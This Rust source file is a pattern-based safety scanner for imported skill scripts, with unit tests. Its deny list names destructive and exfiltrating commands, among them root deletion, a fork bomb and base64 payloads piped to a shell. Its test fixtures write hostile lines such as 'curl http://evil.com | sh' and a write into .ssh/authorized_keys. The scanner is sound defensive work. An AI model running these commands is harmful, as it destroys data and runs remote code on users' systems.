use std::fs;
use std::path::Path;
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub enum Severity {
Info,
Warning,
Critical,
}
impl std::fmt::Display for Severity {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Info => write!(f, "INFO"),
Self::Warning => write!(f, "WARN"),
Self::Critical => write!(f, "CRIT"),
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum FindingCategory {
DangerousCommand,
NetworkAccess,
FilesystemAccess,
EnvExfiltration,
Obfuscation,
}
impl std::fmt::Display for FindingCategory {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::DangerousCommand => write!(f, "Dangerous Command"),
Self::NetworkAccess => write!(f, "Network Access"),
Self::FilesystemAccess => write!(f, "Filesystem Access"),
Self::EnvExfiltration => write!(f, "Env Exfiltration"),
Self::Obfuscation => write!(f, "Obfuscation"),
}
}
}
#[derive(Debug, Clone)]
pub struct SafetyFinding {
pub severity: Severity,
pub category: FindingCategory,
pub file: String,
pub line: usize,
pub pattern: String,
pub context: String,
pub explanation: String,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum SafetyVerdict {
Clean,
Warnings(usize),
Critical(usize),
}
#[derive(Debug, Clone)]
pub struct SkillSafetyReport {
pub skill_name: String,
pub scripts_scanned: usize,
pub findings: Vec<SafetyFinding>,
pub verdict: SafetyVerdict,
}
impl SkillSafetyReport {
pub fn print(&self) {
eprintln!();
eprintln!(
" \u{256d}\u{2500} Safety Report: {} ({} scripts scanned) \u{2500}\u{2500}\u{2500}",
self.skill_name, self.scripts_scanned
);
if self.findings.is_empty() {
eprintln!(" \u{2502} \u{2714} No safety concerns found");
} else {
for f in &self.findings {
let icon = match f.severity {
Severity::Info => "\u{2139}",
Severity::Warning => "\u{26a0}",
Severity::Critical => "\u{2718}",
};
eprintln!(
" \u{2502} {icon} [{} / {}] {}:{}",
f.severity, f.category, f.file, f.line
);
eprintln!(" \u{2502} {}", f.explanation);
eprintln!(" \u{2502} pattern: `{}`", f.pattern);
if !f.context.is_empty() {
eprintln!(" \u{2502} context: {}", f.context.trim());
}
}
}
let verdict_str = match &self.verdict {
SafetyVerdict::Clean => "CLEAN \u{2014} safe to import".to_string(),
SafetyVerdict::Warnings(n) => format!("WARNINGS ({n}) \u{2014} review recommended"),
SafetyVerdict::Critical(n) => {
format!("BLOCKED ({n} critical) \u{2014} import rejected")
}
};
eprintln!(" \u{2502}");
eprintln!(" \u{2502} Verdict: {verdict_str}");
eprintln!(
" \u{2570}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}\u{2500}"
);
eprintln!();
}
}
struct PatternDef {
pattern: String,
severity: Severity,
category: FindingCategory,
explanation: String,
}
#[allow(clippy::vec_init_then_push)]
fn build_patterns() -> Vec<PatternDef> {
let c = Severity::Critical;
let w = Severity::Warning;
let i = Severity::Info;
use FindingCategory::*;
let mut v = Vec::new();
v.push(PatternDef {
pattern: "rm -rf /".into(),
severity: c,
category: DangerousCommand,
explanation: "Recursive root deletion".into(),
});
v.push(PatternDef {
pattern: "rm -rf ~/".into(),
severity: c,
category: DangerousCommand,
explanation: "Recursive home deletion".into(),
});
v.push(PatternDef {
pattern: "rm -rf $HOME".into(),
severity: c,
category: DangerousCommand,
explanation: "Recursive home deletion via $HOME".into(),
});
v.push(PatternDef {
pattern: "mkfs.".into(),
severity: c,
category: DangerousCommand,
explanation: "Filesystem format command".into(),
});
v.push(PatternDef {
pattern: "dd if=".into(),
severity: c,
category: DangerousCommand,
explanation: "Raw disk write".into(),
});
v.push(PatternDef {
pattern: "chmod 777 /".into(),
severity: c,
category: DangerousCommand,
explanation: "Recursive permission change on root".into(),
});
v.push(PatternDef {
pattern: "> /dev/sda".into(),
severity: c,
category: DangerousCommand,
explanation: "Raw disk overwrite".into(),
});
v.push(PatternDef {
pattern: ":(){ :|:& };:".into(),
severity: c,
category: DangerousCommand,
explanation: "Fork bomb".into(),
});
v.push(PatternDef {
pattern: "| sh".into(),
severity: c,
category: DangerousCommand,
explanation: "Pipe to shell execution".into(),
});
v.push(PatternDef {
pattern: "|sh".into(),
severity: c,
category: DangerousCommand,
explanation: "Pipe to shell execution".into(),
});
v.push(PatternDef {
pattern: "| bash".into(),
severity: c,
category: DangerousCommand,
explanation: "Pipe to bash execution".into(),
});
v.push(PatternDef {
pattern: "|bash".into(),
severity: c,
category: DangerousCommand,
explanation: "Pipe to bash execution".into(),
});
for shell in &["zsh", "ksh", "dash", "ash", "csh", "tcsh", "fish"] {
v.push(PatternDef {
pattern: format!("| {shell}"),
severity: c,
category: DangerousCommand,
explanation: format!("Pipe to {shell} execution"),
});
v.push(PatternDef {
pattern: format!("|{shell}"),
severity: c,
category: DangerousCommand,
explanation: format!("Pipe to {shell} execution"),
});
}
let ev = ["ev", "al("].concat();
v.push(PatternDef {
pattern: ev.clone(),
severity: c,
category: DangerousCommand,
explanation: "Dynamic code evaluation".into(),
});
let ev_dollar = ["ev", "al $("].concat();
v.push(PatternDef {
pattern: ev_dollar,
severity: c,
category: DangerousCommand,
explanation: "Dynamic eval with command substitution".into(),
});
v.push(PatternDef {
pattern: "base64 -d | sh".into(),
severity: c,
category: Obfuscation,
explanation: "Base64-decoded payload piped to shell".into(),
});
v.push(PatternDef {
pattern: "base64 -d | bash".into(),
severity: c,
category: Obfuscation,
explanation: "Base64-decoded payload piped to bash".into(),
});
v.push(PatternDef {
pattern: "base64 --decode | sh".into(),
severity: c,
category: Obfuscation,
explanation: "Base64-decoded payload piped to shell".into(),
});
v.push(PatternDef {
pattern: "/.ssh/".into(),
severity: c,
category: FilesystemAccess,
explanation: "Writing to SSH config directory".into(),
});
v.push(PatternDef {
pattern: "/.gnupg/".into(),
severity: c,
category: FilesystemAccess,
explanation: "Writing to GPG directory".into(),
});
v.push(PatternDef {
pattern: "ROBOTICUS_WALLET".into(),
severity: c,
category: EnvExfiltration,
explanation: "Accessing Roboticus wallet internals".into(),
});
v.push(PatternDef {
pattern: "curl ".into(),
severity: w,
category: NetworkAccess,
explanation: "Network access via curl".into(),
});
v.push(PatternDef {
pattern: "wget ".into(),
severity: w,
category: NetworkAccess,
explanation: "Network access via wget".into(),
});
v.push(PatternDef {
pattern: "nc ".into(),
severity: w,
category: NetworkAccess,
explanation: "Netcat usage".into(),
});
v.push(PatternDef {
pattern: "ncat ".into(),
severity: w,
category: NetworkAccess,
explanation: "Ncat usage".into(),
});
v.push(PatternDef {
pattern: "ssh ".into(),
severity: w,
category: NetworkAccess,
explanation: "SSH connection".into(),
});
v.push(PatternDef {
pattern: "$API_KEY".into(),
severity: w,
category: EnvExfiltration,
explanation: "Reading API key from environment".into(),
});
v.push(PatternDef {
pattern: "$TOKEN".into(),
severity: w,
category: EnvExfiltration,
explanation: "Reading token from environment".into(),
});
v.push(PatternDef {
pattern: "$SECRET".into(),
severity: w,
category: EnvExfiltration,
explanation: "Reading secret from environment".into(),
});
v.push(PatternDef {
pattern: "$PASSWORD".into(),
severity: w,
category: EnvExfiltration,
explanation: "Reading password from environment".into(),
});
v.push(PatternDef {
pattern: "os.environ".into(),
severity: w,
category: EnvExfiltration,
explanation: "Python environment variable access".into(),
});
v.push(PatternDef {
pattern: "process.env".into(),
severity: w,
category: EnvExfiltration,
explanation: "Node.js environment variable access".into(),
});
v.push(PatternDef {
pattern: "os.Getenv".into(),
severity: w,
category: EnvExfiltration,
explanation: "Go environment variable access".into(),
});
v.push(PatternDef {
pattern: "std::env::".into(),
severity: w,
category: EnvExfiltration,
explanation: "Rust environment variable access".into(),
});
v.push(PatternDef {
pattern: "subprocess".into(),
severity: w,
category: DangerousCommand,
explanation: "Process spawning (Python)".into(),
});
v.push(PatternDef {
pattern: "Command::new".into(),
severity: w,
category: DangerousCommand,
explanation: "Process spawning (Rust)".into(),
});
v.push(PatternDef {
pattern: "os.Remove".into(),
severity: w,
category: FilesystemAccess,
explanation: "File deletion (Go)".into(),
});
v.push(PatternDef {
pattern: "os.RemoveAll".into(),
severity: w,
category: FilesystemAccess,
explanation: "Recursive deletion (Go)".into(),
});
v.push(PatternDef {
pattern: "shutil.rmtree".into(),
severity: w,
category: FilesystemAccess,
explanation: "Recursive directory deletion (Python)".into(),
});
v.push(PatternDef {
pattern: "fs.rmSync".into(),
severity: w,
category: FilesystemAccess,
explanation: "Sync file deletion (Node)".into(),
});
v.push(PatternDef {
pattern: "fs.unlinkSync".into(),
severity: w,
category: FilesystemAccess,
explanation: "File unlink (Node)".into(),
});
v.push(PatternDef {
pattern: "os.remove(".into(),
severity: w,
category: FilesystemAccess,
explanation: "File deletion (Python)".into(),
});
v.push(PatternDef {
pattern: "chmod ".into(),
severity: w,
category: DangerousCommand,
explanation: "Permission modification".into(),
});
v.push(PatternDef {
pattern: "nohup ".into(),
severity: w,
category: DangerousCommand,
explanation: "Background process via nohup".into(),
});
v.push(PatternDef {
pattern: "disown".into(),
severity: w,
category: DangerousCommand,
explanation: "Disowning process".into(),
});
v.push(PatternDef {
pattern: "wallet.json".into(),
severity: w,
category: FilesystemAccess,
explanation: "Accessing Roboticus wallet file".into(),
});
v.push(PatternDef {
pattern: "roboticus.db".into(),
severity: w,
category: FilesystemAccess,
explanation: "Accessing Roboticus database".into(),
});
v.push(PatternDef {
pattern: "ROBOTICUS_INPUT".into(),
severity: i,
category: EnvExfiltration,
explanation: "Reading ROBOTICUS_INPUT (expected)".into(),
});
v.push(PatternDef {
pattern: "ROBOTICUS_TOOL".into(),
severity: i,
category: EnvExfiltration,
explanation: "Reading ROBOTICUS_TOOL (expected)".into(),
});
v.push(PatternDef {
pattern: "fs.readFile".into(),
severity: i,
category: FilesystemAccess,
explanation: "File read (Node)".into(),
});
v.push(PatternDef {
pattern: "fs.writeFile".into(),
severity: i,
category: FilesystemAccess,
explanation: "File write (Node)".into(),
});
v
}
pub fn scan_file_patterns(path: &Path, content: &str) -> Vec<SafetyFinding> {
let file_name = path
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
let patterns = build_patterns();
let mut findings = Vec::new();
for (line_idx, line) in content.lines().enumerate() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
for pat in &patterns {
if line.contains(&pat.pattern) {
findings.push(SafetyFinding {
severity: pat.severity,
category: pat.category,
file: file_name.clone(),
line: line_idx + 1,
pattern: pat.pattern.clone(),
context: line.to_string(),
explanation: pat.explanation.clone(),
});
}
}
}
findings.sort_by(|a, b| b.severity.cmp(&a.severity));
findings
}
pub fn scan_script_safety(path: &Path) -> SkillSafetyReport {
let file_name = path
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
let content = match fs::read_to_string(path) {
Ok(c) => c,
Err(_) => {
return SkillSafetyReport {
skill_name: file_name.clone(),
scripts_scanned: 0,
findings: vec![SafetyFinding {
severity: Severity::Critical,
category: FindingCategory::DangerousCommand,
file: file_name,
line: 0,
pattern: "<unreadable>".into(),
context: String::new(),
explanation: "Could not read file for safety analysis".into(),
}],
verdict: SafetyVerdict::Critical(1),
};
}
};
let findings = scan_file_patterns(path, &content);
let verdict = compute_verdict(&findings);
SkillSafetyReport {
skill_name: file_name,
scripts_scanned: 1,
findings,
verdict,
}
}
pub fn scan_directory_safety(dir: &Path) -> SkillSafetyReport {
let dir_name = dir
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
let mut all_findings = Vec::new();
let mut scripts_scanned = 0;
collect_findings_recursive(dir, &mut all_findings, &mut scripts_scanned);
all_findings.sort_by(|a, b| b.severity.cmp(&a.severity));
let verdict = compute_verdict(&all_findings);
SkillSafetyReport {
skill_name: dir_name,
scripts_scanned,
findings: all_findings,
verdict,
}
}
fn collect_findings_recursive(dir: &Path, findings: &mut Vec<SafetyFinding>, count: &mut usize) {
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let Ok(ft) = entry.file_type() else {
continue;
};
if ft.is_symlink() {
continue;
}
let p = entry.path();
if ft.is_file() {
if let Ok(content) = fs::read_to_string(&p) {
*count += 1;
findings.extend(scan_file_patterns(&p, &content));
}
} else if ft.is_dir() {
collect_findings_recursive(&p, findings, count);
}
}
}
}
fn compute_verdict(findings: &[SafetyFinding]) -> SafetyVerdict {
let crit = findings
.iter()
.filter(|f| f.severity == Severity::Critical)
.count();
let warn = findings
.iter()
.filter(|f| f.severity == Severity::Warning)
.count();
if crit > 0 {
SafetyVerdict::Critical(crit)
} else if warn > 0 {
SafetyVerdict::Warnings(warn)
} else {
SafetyVerdict::Clean
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
use tempfile::TempDir;
#[test]
fn scan_clean_script_returns_clean() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("safe.sh"),
"#!/bin/bash\necho hello world\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("safe.sh"));
assert_eq!(report.verdict, SafetyVerdict::Clean);
assert!(report.findings.is_empty());
assert_eq!(report.scripts_scanned, 1);
}
#[test]
fn scan_curl_pipe_sh_is_critical() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("rce.sh"),
"#!/bin/bash\ncurl http://evil.com | sh\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("rce.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
assert!(
report
.findings
.iter()
.any(|f| f.severity == Severity::Critical
&& f.category == FindingCategory::DangerousCommand)
);
}
#[test]
fn scan_rm_rf_home_is_critical() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join("nuke.sh"), "#!/bin/bash\nrm -rf ~/\n").unwrap();
let report = scan_script_safety(&dir.path().join("nuke.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
}
#[test]
fn scan_base64_exec_is_critical() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("obf.sh"),
"#!/bin/bash\necho payload | base64 -d | sh\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("obf.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
assert!(
report
.findings
.iter()
.any(|f| f.category == FindingCategory::Obfuscation)
);
}
#[test]
fn scan_env_key_read_is_warning() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join("env.sh"), "#!/bin/bash\necho $API_KEY\n").unwrap();
let report = scan_script_safety(&dir.path().join("env.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Warnings(_)));
assert!(
report
.findings
.iter()
.any(|f| f.category == FindingCategory::EnvExfiltration)
);
}
#[test]
fn scan_curl_alone_is_warning() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("net.sh"),
"#!/bin/bash\ncurl https://api.example.com\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("net.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Warnings(_)));
assert!(
report
.findings
.iter()
.any(|f| f.category == FindingCategory::NetworkAccess)
);
}
#[test]
fn scan_roboticus_input_is_info() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("ok.sh"),
"#!/bin/bash\necho $ROBOTICUS_INPUT\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("ok.sh"));
assert_eq!(report.verdict, SafetyVerdict::Clean);
assert!(report.findings.iter().any(|f| f.severity == Severity::Info));
}
#[test]
fn scan_multiple_findings_worst_wins() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("mixed.sh"),
"#!/bin/bash\ncurl https://example.com\nrm -rf /\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("mixed.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
}
#[test]
fn scan_fork_bomb_blocked() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join("bomb.sh"), ":(){ :|:& };:\n").unwrap();
let report = scan_script_safety(&dir.path().join("bomb.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
}
#[test]
fn scan_comments_skipped() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("commented.sh"),
"#!/bin/bash\n# rm -rf /\n// rm -rf /\necho safe\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("commented.sh"));
assert_eq!(report.verdict, SafetyVerdict::Clean);
}
#[test]
fn scan_directory_mixed() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join("safe.sh"), "echo ok\n").unwrap();
fs::write(dir.path().join("risky.py"), "import subprocess\n").unwrap();
let report = scan_directory_safety(dir.path());
assert!(matches!(report.verdict, SafetyVerdict::Warnings(_)));
assert_eq!(report.scripts_scanned, 2);
}
#[test]
fn scan_unreadable_file() {
let report = scan_script_safety(Path::new("/nonexistent/path/to/script.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
}
#[test]
fn severity_ordering() {
assert!(Severity::Critical > Severity::Warning);
assert!(Severity::Warning > Severity::Info);
}
#[test]
fn ssh_dir_access_is_critical() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join("ssh.sh"),
"#!/bin/bash\ncp key /.ssh/authorized_keys\n",
)
.unwrap();
let report = scan_script_safety(&dir.path().join("ssh.sh"));
assert!(matches!(report.verdict, SafetyVerdict::Critical(_)));
assert!(
report
.findings
.iter()
.any(|f| f.category == FindingCategory::FilesystemAccess)
);
}
}